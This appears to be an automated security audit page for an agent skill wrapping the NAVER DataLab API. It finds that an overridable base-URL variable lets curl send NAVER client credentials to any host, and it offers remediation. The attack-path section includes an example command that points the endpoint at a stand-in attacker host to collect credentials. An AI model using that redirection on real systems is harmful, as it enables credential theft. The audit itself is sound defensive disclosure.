Back to skill

Security audit

Naver Datalab Cli

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent NAVER DataLab command-line wrapper, but it needs review because an undocumented endpoint override can redirect NAVER credentials and query data away from the official API.

Review this before installing if you will use real NAVER credentials. Only run it in an environment where NAVER_DATALAB_BASE is unset or locked to the official openapi.naver.com DataLab endpoint, and treat submitted keywords, dates, categories, and demographic filters as data sent to NAVER. A safer version should hard-code or strictly validate the API base URL before adding credential headers.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/_common.sh:7
Finding
Overrideable API Base URL Can Redirect NAVER Credentials## Vulnerability Details **File Location**: `scripts/_common.sh`, lines 7 and 45–56 **Vulnerability Type**: Unvalidated credential destination **Risk Level**: High ```bash NAVER_DATALAB_BASE="${NAVER_DATALAB_BASE:-https://openapi.naver.com/v1/datalab}" datalab_post() { local path="$1"; shift local body="$1"; shift local out http out=$(mktemp) http=$(curl -sS -o "$out" -w '%{http_code}' \ -X POST "${NAVER_DATALAB_BASE}/${path}" \ -H "X-Naver-Client-Id: ${NAVER_CLIENT_ID}" \ -H "X-Naver-Client-Secret: ${NAVER_CLIENT_SECRET}" \ -H "Content-Type: application/json; charset=utf-8" \ --data "$body" || true) ``` ### Technical Analysis The HTTP destination is derived directly from the inherited `NAVER_DATALAB_BASE` environment variable without validating its scheme, hostname, port, or path. The `datalab_post` function then transmits the NAVER client ID, client secret, and request body to that destination. Consequently, a party capable of influencing the process environment can replace the documented NAVER endpoint with an attacker-controlled server. This does not prove intentional exfiltration by the project, but it creates a credential-routing vulnerability that conflicts with the documented expectation that authenticated requests are sent to `openapi.naver.com`. ### Attack Path 1. An attacker gains influence over the execution environment, such as a shell profile, CI configuration, wrapper process, or Agent launcher. 2. The attacker sets: ```bash export NAVER_DATALAB_BASE='https://attacker.example/collect' ``` 3. A user or Agent invokes any project subcommand while valid `NAVER_CLIENT_ID` and `NAVER_CLIENT_SECRET` values are present. 4. The subcommand calls `datalab_post`. 5. `curl` sends both NAVER authentication headers and the trend-analysis request body to the attacker-controlled endpoint. 6. The attacker records the credentials and may reuse them against the legitimate NAVER API. ### Impact Assessment Successful ex ...[truncated 590 chars]
Remediation
## Remediation Suggestions 1. Hard-code the official API base URL if alternate endpoints are not a required feature: ```bash readonly NAVER_DATALAB_BASE='https://openapi.naver.com/v1/datalab' ``` 2. If configurability is required for testing, validate the parsed URL before attaching credentials. Require: - Scheme exactly `https` - Hostname exactly `openapi.naver.com` - No URL user information - No nonstandard port - Path exactly `/v1/datalab` - No fragments or unexpected query parameters 3. Restrict transport and redirect behavior: ```bash curl --proto '=https' --proto-redir '=https' --max-redirs 0 ... ``` 4. Keep test-server support separate from production authentication. Test mode should use mock credentials and should refuse to send real NAVER credentials to a non-NAVER host. 5. Document that security-sensitive endpoint overrides are unsupported, and clear or ignore inherited `NAVER_DATALAB_BASE` values during normal operation. 6. Add automated tests confirming that HTTP URLs, alternate hosts, malformed URLs, and unexpected ports are rejected before authentication headers are constructed.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Lp3

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding
The skill exposes shell-based commands (`scripts/*.sh`) but the manifest does not declare any explicit tool scope such as `permissions` or `allowed-tools`. In agent environments, missing scope declarations can cause overbroad execution authority or make it unclear what runtime capabilities are expected, increasing the risk of unintended shell access or unsafe invocation patterns.

External Transmission

Medium
Category
Data Exfiltration
Content
local out http
  out=$(mktemp)
  http=$(curl -sS -o "$out" -w '%{http_code}' \
    -X POST "${NAVER_DATALAB_BASE}/${path}" \
    -H "X-Naver-Client-Id: ${NAVER_CLIENT_ID}" \
    -H "X-Naver-Client-Secret: ${NAVER_CLIENT_SECRET}" \
Confidence
70% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Low
Confidence
82% confidence
Finding
The script invokes another search utility with query terms, which likely results in a network request or external data access, but this file provides no user-facing prompt, logging, or explicit disclosure beyond terse comments. Because this is a code file, safety-relevant external calls should have some visible warning unless the behavior is clearly disclosed as part of the skill's stated purpose.

Natural-Language Policy Violations

Low
Confidence
90% confidence
Finding
The natural-language description and usage context include Korean text, which imposes a specific language in user-facing documentation. The file does not offer an alternative language or explain that the skill is intentionally region- or language-specific.

Natural-Language Policy Violations

Low
Confidence
73% confidence
Finding
The script description comment is written as a Korean-only label (`쇼핑인사이트 분야별 트렌드.`), which may indicate a language-specific constraint without offering any language choice or documenting why the locale is required. Under the policy, language or locale restrictions should be user-selectable or clearly justified.

Missing User Warnings

Low
Confidence
87% confidence
Finding
This shell script sends a constructed request body to an external endpoint via `datalab_post`, which transmits user-supplied dates, categories, and optional demographic filters. While the file has usage comments, it does not include an explicit user-facing warning, confirmation, or disclosure at the point of network transmission.

Natural-Language Policy Violations

Low
Confidence
86% confidence
Finding
The file's descriptive text and usage comments are presented in Korean (`분야의 성별 트렌드`) with no indication that users may choose another language or locale. Under the stated policy, forcing a specific language without opt-in is a natural-language policy concern.

Missing User Warnings

Low
Confidence
89% confidence
Finding
This shell script sends request data to an external endpoint via `datalab_post`, using the provided date range, time unit, and category. In this file there is no user-facing warning, log message, or explanatory comment near the call to disclose that input data will be transmitted over the network.

Static analysis

No suspicious patterns detected.